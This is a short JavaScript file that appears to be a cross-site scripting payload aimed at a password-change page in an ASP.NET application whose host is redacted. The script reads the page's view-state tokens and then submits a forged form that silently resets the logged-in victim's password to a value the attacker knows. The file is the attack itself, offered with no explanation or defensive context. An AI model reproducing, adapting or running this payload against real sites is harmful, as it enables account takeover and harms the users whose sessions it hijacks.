b.js

var x = new XMLHttpRequest();
var r=0;
x.open('GET','https:/XXXXXXX/AgirhNet/StaticWebForm/Outils/ChangePwd.aspx');
x.responseType = "document";
x.send(null);

x.onreadystatechange = function() {
    if (x.readyState === 4 && r != 1) {
	
		
	var a = encodeURIComponent((x.response.getElementById('__VIEWSTATE').value));
	var b = (x.response.getElementById('__VIEWSTATEGENERATOR').value);
	
	x.open("POST", 'https://XXXXXXX/AgirhNet/StaticWebForm/Outils/ChangePwd.aspx', 1);
	x.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
	x.send("__VIEWSTATE="+a+"&__VIEWSTATEGENERATOR="+b+"&__VIEWSTATEENCRYPTED=&ctl00%24BodyPlaceHolder%24dfLAST_Pwd=whatever&ctl00%24BodyPlaceHolder%24dfUserKey=2&ctl00%24BodyPlaceHolder%24dfConfirmPWD=2&ctl00%24BodyPlaceHolder%24pbSETpwd=Appliquer");
	
	
	console.log(a);
    } else {
	
    }
}